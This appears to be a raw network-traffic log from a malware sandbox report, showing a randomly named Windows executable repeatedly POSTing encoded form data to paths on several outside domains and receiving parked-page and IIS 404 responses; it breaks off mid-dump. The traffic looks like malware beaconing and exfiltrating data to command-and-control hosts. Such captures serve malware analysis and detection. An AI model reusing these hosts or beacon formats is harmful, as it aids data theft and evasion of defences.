Sep 23, 2024 14:39:16.081939936 CEST	787	OUT	POST /8dtf/ HTTP/1.1 Host: www.donante-de-ovulos.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.donante-de-ovulos.biz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.donante-de-ovulos.biz/8dtf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 71 36 72 48 35 31 56 79 42 44 56 58 48 50 4e 6b 6f 54 54 30 44 65 65 50 52 45 55 45 69 50 70 71 52 5a 66 76 39 52 69 70 4d 48 39 67 6a 45 45 5a 4f 62 75 34 64 53 36 4c 50 79 7a 52 69 76 33 63 34 65 46 50 4e 6d 45 52 75 4a 61 69 39 55 66 69 57 59 5a 79 4c 2b 74 2b 45 34 56 67 55 61 76 34 54 32 6f 77 62 5a 42 63 32 57 54 4d 73 7a 46 32 71 51 48 4c 65 30 48 35 52 79 6f 74 58 34 32 6f 33 50 67 4f 53 77 77 42 4d 74 46 50 70 57 4e 50 79 30 4f 52 4f 39 76 77 61 54 63 54 63 45 72 6b 59 55 4c 79 72 36 79 31 7a 76 6b 42 75 33 39 6c 31 4c 70 67 38 41 49 35 4b 6a 64 7a 75 4f 70 63 6d 63 32 45 69 4c 4f 6f 52 5a 57 79 58 68 7a 76 51 76 6e 53 78 76 49 67 6d 57 61 6a 56 2f 2b 6e 6c 76 6b 53 5a 73 73 3d Data Ascii: 76=q6rH51VyBDVXHPNkoTT0DeePREUEiPpqRZfv9RipMH9gjEEZObu4dS6LPyzRiv3c4eFPNmERuJai9UfiWYZyL+t+E4VgUav4T2owbZBc2WTMszF2qQHLe0H5RyotX42o3PgOSwwBMtFPpWNPy0ORO9vwaTcTcErkYULyr6y1zvkBu39l1Lpg8AI5KjdzuOpcmc2EiLOoRZWyXhzvQvnSxvIgmWajV/+nlvkSZss=
Sep 23, 2024 14:39:16.524482012 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 23 Sep 2024 12:39:16 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: fc0da03a-ca55-43a0-ab06-64aca8ff0363 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A== set-cookie: parking_session=fc0da03a-ca55-43a0-ab06-64aca8ff0363; expires=Mon, 23 Sep 2024 12:54:16 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 43 44 2f 4e 49 35 54 47 4f 50 64 45 6e 51 75 6b 49 44 68 35 42 50 2f 54 6e 64 73 2f 49 44 4a 56 4d 52 58 45 6e 5a 38 58 2f 31 6d 38 2f 66 38 41 4f 55 6b 56 35 52 5a 43 44 39 70 61 6a 74 53 51 42 59 76 55 31 78 64 30 76 4f 33 7a 37 52 56 73 4b 79 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 23, 2024 14:39:16.524501085 CEST	603	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiZmMwZGEwM2EtY2E1NS00M2EwLWFiMDYtNjRhY2E4ZmYwMzYzIiwicGFnZV90aW1lIjoxNzI3MDk1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.7	49739	199.59.243.227	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:18.629132032 CEST	1800	OUT	POST /8dtf/ HTTP/1.1 Host: www.donante-de-ovulos.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.donante-de-ovulos.biz Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 1247 Connection: close Referer: http://www.donante-de-ovulos.biz/8dtf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 71 36 72 48 35 31 56 79 42 44 56 58 48 50 4e 6b 6f 54 54 30 44 65 65 50 52 45 55 45 69 50 70 71 52 5a 66 76 39 52 69 70 4d 48 46 67 69 79 77 5a 42 63 43 34 63 53 36 4c 55 79 7a 4d 69 76 32 45 34 65 74 4c 4e 6d 49 42 75 4c 79 69 39 33 6e 69 64 4a 5a 79 46 2b 74 2b 59 49 56 68 4c 4b 75 79 54 32 35 35 62 5a 52 63 32 57 54 4d 73 79 31 32 74 43 76 4c 53 55 48 6d 47 43 6f 66 61 59 32 41 33 4f 49 30 53 77 30 37 4d 39 6c 50 70 31 6c 50 68 57 6d 52 52 4e 76 79 5a 54 63 41 63 45 58 2f 59 51 6a 55 72 36 48 51 7a 6f 49 42 34 54 77 59 67 4c 39 71 2b 52 45 64 4e 6c 4e 71 6a 73 74 7a 2b 73 2b 4d 38 35 61 4a 52 4a 36 61 5a 6a 66 33 5a 6f 72 53 73 65 41 30 6e 47 75 4c 61 49 58 4c 68 66 6b 43 4d 6f 57 4d 59 5a 47 39 69 39 46 6b 41 56 43 73 64 38 6f 59 2f 35 58 75 45 6b 39 31 50 6e 56 65 64 6b 32 6e 63 69 6c 69 45 45 73 6e 73 6b 6a 53 75 59 38 6c 75 72 72 2f 48 49 76 57 39 42 68 66 46 59 6b 68 33 32 36 4a 51 79 53 35 68 33 57 34 4e 71 66 34 75 70 33 64 51 69 64 65 45 46 69 77 4b 38 57 62 70 6a 55 70 5a 36 4b [TRUNCATED] Data Ascii: 76=q6rH51VyBDVXHPNkoTT0DeePREUEiPpqRZfv9RipMHFgiywZBcC4cS6LUyzMiv2E4etLNmIBuLyi93nidJZyF+t+YIVhLKuyT255bZRc2WTMsy12tCvLSUHmGCofaY2A3OI0Sw07M9lPp1lPhWmRRNvyZTcAcEX/YQjUr6HQzoIB4TwYgL9q+REdNlNqjstz+s+M85aJRJ6aZjf3ZorSseA0nGuLaIXLhfkCMoWMYZG9i9FkAVCsd8oY/5XuEk91PnVedk2nciliEEsnskjSuY8lurr/HIvW9BhfFYkh326JQyS5h3W4Nqf4up3dQideEFiwK8WbpjUpZ6KRir8bm6xGOC4iMc/oksxudiAGk+w8G2WUdo2rVFW2ZuDa3ltFImfBkPpLwMUTLAGxM1LAvQs8cASGs8JkY84cqGXLUFJmRIV1oONT20lgM7XIyWvKRDswXNgDvGlTZAqKchvpEtBK9m/A03QwA28IjN7ZXQKzFdH8cllLnH2xJoxhtF0HxcYW9jnPgeqlmvSvfPEwxfDIkvMlry/FwasNwtPmhG/utZVl6X1LPEXxVOqXme2bODfyYJ/wjclxsCfU1Exf8FsdbLPcL8fDsmujbHT2dUpmZ/iLlBG2M2wtbzqrhURN9lpJ8TvmR5B7bdDib4KbggzyjDEsyudsidE77V+zUMG5T9OeINAsYN3/C0bywhdFknBwEMN4O5CgD8APtG95rRT42UEXBLP91es5aI9YoEGN0BvjUz050RTxbBDMMe6JO/3Cj1MKbYO2GAczF8EbAbbH9OKFwrmnSnlBN0+VupNEfHxLC9d6Srtcv1M8WZHHYMEbCjvFhmMESqLOH+UVVp4cMLYS6kt7JOfZ4iTq8H/0HXxmOmYYLEhfsd2AOWb6yTF86nnTwCFJGsPEkTv74aYMAk5IR9wgs6uNSRcJQfmPhoLRoYYT2tGkjewa6T+VUZwSISbMC5OVCF+F6o7IzP/8WDNJ+TK0hDzUDY9zfjf9wEKuC [TRUNCATED]
Sep 23, 2024 14:39:19.083872080 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 23 Sep 2024 12:39:18 GMT content-type: text/html; charset=utf-8 content-length: 1150 x-request-id: 8a32c0d7-070b-412c-880a-6d5e75c42955 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A== set-cookie: parking_session=8a32c0d7-070b-412c-880a-6d5e75c42955; expires=Mon, 23 Sep 2024 12:54:19 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 56 54 43 44 2f 4e 49 35 54 47 4f 50 64 45 6e 51 75 6b 49 44 68 35 42 50 2f 54 6e 64 73 2f 49 44 4a 56 4d 52 58 45 6e 5a 38 58 2f 31 6d 38 2f 66 38 41 4f 55 6b 56 35 52 5a 43 44 39 70 61 6a 74 53 51 42 59 76 55 31 78 64 30 76 4f 33 7a 37 52 56 73 4b 79 33 41 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_VTCD/NI5TGOPdEnQukIDh5BP/Tnds/IDJVMRXEnZ8X/1m8/f8AOUkV5RZCD9pajtSQBYvU1xd0vO3z7RVsKy3A==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 23, 2024 14:39:19.083887100 CEST	603	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiOGEzMmMwZDctMDcwYi00MTJjLTg4MGEtNmQ1ZTc1YzQyOTU1IiwicGFnZV90aW1lIjoxNzI3MDk1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.7	49740	199.59.243.227	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:21.172652960 CEST	486	OUT	GET /8dtf/?76=n4Dn6BhRGXgBCc8VvzeMEOXmG0Elz5lGLePoshfoMkwgvj9XBMT8fCSzJRDbu+yD5cpoNGctvaCBzFD7eo0ZE+1Jdoxfd5POcRUtDqQJ70nv82NNqRSJamvbeDYUZbHlz6Y0RwscVapw&mtJD_=fvdlJ2L HTTP/1.1 Host: www.donante-de-ovulos.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11
Sep 23, 2024 14:39:21.619105101 CEST	1236	IN	HTTP/1.1 200 OK date: Mon, 23 Sep 2024 12:39:21 GMT content-type: text/html; charset=utf-8 content-length: 1514 x-request-id: 2272f143-d394-4c2c-885c-7b7065c73d99 cache-control: no-store, max-age=0 accept-ch: sec-ch-prefers-color-scheme critical-ch: sec-ch-prefers-color-scheme vary: sec-ch-prefers-color-scheme x-adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vObKN4LyiXLUjm+BK+jqgSa5aSzKRzCEpGGuyHiZr4t1/KUPb9U6Qp6AplDofR1gMf2QqvqZ8dtWPMEg/0DZ/Q== set-cookie: parking_session=2272f143-d394-4c2c-885c-7b7065c73d99; expires=Mon, 23 Sep 2024 12:54:21 GMT; path=/ connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 76 4f 62 4b 4e 34 4c 79 69 58 4c 55 6a 6d 2b 42 4b 2b 6a 71 67 53 61 35 61 53 7a 4b 52 7a 43 45 70 47 47 75 79 48 69 5a 72 34 74 31 2f 4b 55 50 62 39 55 36 51 70 36 41 70 6c 44 6f 66 52 31 67 4d 66 32 51 71 76 71 5a 38 64 74 57 50 4d 45 67 2f 30 44 5a 2f 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED] Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_vObKN4LyiXLUjm+BK+jqgSa5aSzKRzCEpGGuyHiZr4t1/KUPb9U6Qp6AplDofR1gMf2QqvqZ8dtWPMEg/0DZ/Q==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"
Sep 23, 2024 14:39:21.619121075 CEST	967	IN	Data Raw: 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 Data Ascii: > <link rel="preconnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiMjI3MmYxNDMtZDM5NC00YzJjLTg4NWMtN2I3MDY1YzczZDk5IiwicGFnZV90aW1lIjoxNzI3MDk1MT

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.7	49741	62.149.128.40	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:26.701318979 CEST	755	OUT	POST /uesf/ HTTP/1.1 Host: www.chalet-tofane.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.chalet-tofane.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 215 Connection: close Referer: http://www.chalet-tofane.net/uesf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 2b 36 68 68 67 52 6c 2b 61 42 32 39 6d 44 52 4b 7a 43 67 38 68 77 78 39 46 31 4f 58 69 4a 70 43 45 39 64 51 44 67 4e 49 49 79 44 36 52 47 34 44 6e 45 68 44 6e 4c 34 75 30 47 47 72 2b 64 6b 78 4b 61 42 39 70 74 5a 37 6f 57 2b 61 6a 47 61 6c 78 56 68 6b 69 61 77 4d 43 57 33 67 38 79 6e 6b 39 56 63 61 70 4c 69 39 6b 56 39 65 34 45 4e 78 49 35 53 42 6d 5a 79 74 6a 33 4f 66 42 49 30 56 61 4d 54 37 65 6f 30 33 41 4c 67 37 64 32 6d 5a 42 6d 70 48 2f 30 44 53 32 2f 2f 66 4f 48 2b 77 44 38 54 69 72 64 52 54 56 6a 42 37 57 2b 4b 6a 66 2f 52 4e 70 36 54 2f 50 45 56 63 4a 65 67 30 77 71 79 5a 4c 50 33 45 59 6a 6b 76 75 75 2f 66 4f 41 3d 3d Data Ascii: 76=+6hhgRl+aB29mDRKzCg8hwx9F1OXiJpCE9dQDgNIIyD6RG4DnEhDnL4u0GGr+dkxKaB9ptZ7oW+ajGalxVhkiawMCW3g8ynk9VcapLi9kV9e4ENxI5SBmZytj3OfBI0VaMT7eo03ALg7d2mZBmpH/0DS2//fOH+wD8TirdRTVjB7W+Kjf/RNp6T/PEVcJeg0wqyZLP3EYjkvuu/fOA==
Sep 23, 2024 14:39:27.378319025 CEST	1236	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET Date: Mon, 23 Sep 2024 12:39:27 GMT Connection: close Content-Length: 4953 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> ... body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;} pre{margin:0;font-size:1.4em;word-wrap:break-word;} ul,ol{margin:10px 0 10px 5px;} ul.first,ol.first{margin-top:5px;} fieldset{padding:0 15px 10px 15px;word-break:break-all;} .summary-container fieldset{padding-bottom:5px;margin-top:4px;} legend.no-expand-all{padding:2px 15px 4px 10px;margin:0 0 0 -12px;} legend{color:#333333;;margin:4px 0 8px -12px;_margin-top:0px; font-weight:bold;font-size:1em;} a:link,a:visited{color:#007EFF;font-weight:bold;} a:hover{text-decoration:none;} h1{font-size:2.4em;margin:0;color:#FFF;} h2{font-size:1.7em;margin:0 [TRUNCATED]
Sep 23, 2024 14:39:27.378333092 CEST	1236	IN	Data Raw: 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e Data Ascii: r:#CC0000;} h3{font-size:1.4em;margin:10px 0 0 0;color:#CC0000;} h4{font-size:1.2em;margin:10px 0 5px 0; }#header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS",Verdana,sans-serif; color:#FFF;background-color:#5
Sep 23, 2024 14:39:27.378353119 CEST	448	IN	Data Raw: 3a 69 74 61 6c 69 63 3b 7d 20 0a 2e 63 6c 65 61 72 7b 63 6c 65 61 72 3a 62 6f 74 68 3b 7d 20 0a 2e 70 72 65 66 65 72 72 65 64 7b 70 61 64 64 69 6e 67 3a 30 20 35 70 78 20 32 70 78 20 35 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 Data Ascii: :italic;} .clear{clear:both;} .preferred{padding:0 5px 2px 5px;font-weight:normal;background:#006633;color:#FFF;font-size:.8em;} --> </style> </head> <body> <div id="content"> <div class="content-container"> <h3>HTTP Error 404.0 -
Sep 23, 2024 14:39:27.378359079 CEST	1236	IN	Data Raw: 65 73 3a 3c 2f 68 34 3e 20 0a 20 20 3c 75 6c 3e 20 09 3c 6c 69 3e 54 68 65 20 64 69 72 65 63 74 6f 72 79 20 6f 72 20 66 69 6c 65 20 73 70 65 63 69 66 69 65 64 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 20 6f 6e 20 74 68 65 20 57 65 62 20 73 65 Data Ascii: es:</h4> <ul> <li>The directory or file specified does not exist on the Web server.</li> <li>The URL contains a typographical error.</li> <li>A custom filter or module, such as URLScan, restricts access to the file.</li> </ul> </fields
Sep 23, 2024 14:39:27.378366947 CEST	1016	IN	Data Raw: 64 65 74 61 69 6c 73 2d 72 69 67 68 74 22 3e 20 0a 20 20 20 3c 74 61 62 6c 65 20 62 6f 72 64 65 72 3d 22 30 22 20 63 65 6c 6c 70 61 64 64 69 6e 67 3d 22 30 22 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 22 30 22 3e 20 0a 20 20 20 20 3c 74 72 20 63 6c Data Ascii: details-right"> <table border="0" cellpadding="0" cellspacing="0"> <tr class="alt"><th>Requested URL</th><td>   http://www.chalet-tofane.net:80/uesf/</td></tr> <tr><th>Physical Path</th><td>   D:\ine

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49742	62.149.128.40	80	3040	C:\Program Files (x86)\UHeXzmqFNwlEWXwHTsbkJdGXKxQurhTysAKxxWCnsrbvEtSepCdqlchVmuXrHVSDNhjEFBqXiaqeXqw\JkyHsYXxoyjW.exe

Timestamp	Bytes transferred	Direction	Data
Sep 23, 2024 14:39:29.251688004 CEST	775	OUT	POST /uesf/ HTTP/1.1 Host: www.chalet-tofane.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.chalet-tofane.net Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Content-Length: 235 Connection: close Referer: http://www.chalet-tofane.net/uesf/ User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.11 (KHTML, like Gecko) Chrome/17.0.963.83 Safari/535.11 Data Raw: 37 36 3d 2b 36 68 68 67 52 6c 2b 61 42 32 39 6d 6a 68 4b 2f 46 4d 38 32 41 78 2b 62 6c 4f 58 6f 70 70 4f 45 39 42 51 44 68 5a 59 49 41 6e 36 52 6d 6f 44 6d 47 5a 44 72 72 34 75 38 6d 47 75 6a 4e 6b 71 4b 61 4d 43 70 70 5a 37 6f 53 57 61 6a 48 71 6c 78 6d 35 6e 6b 4b 78 71 4b 32 33 6d 68 69 6e 6b 39 56 63 61 70 4b 48 61 6b 56 6c 65 34 33 56 78 61 49 53 41 6c 5a 79 73 72 58 4f 66 46 49 30 5a 61 4d 54 6a 65 73 73 64 41 4a 6f 37 64 33 57 5a 42 58 70 47 6f 6b 44 55 70 76 2b 63 4c 6c 58 62 5a 4f 62 42 70 37 52 71 53 42 4e 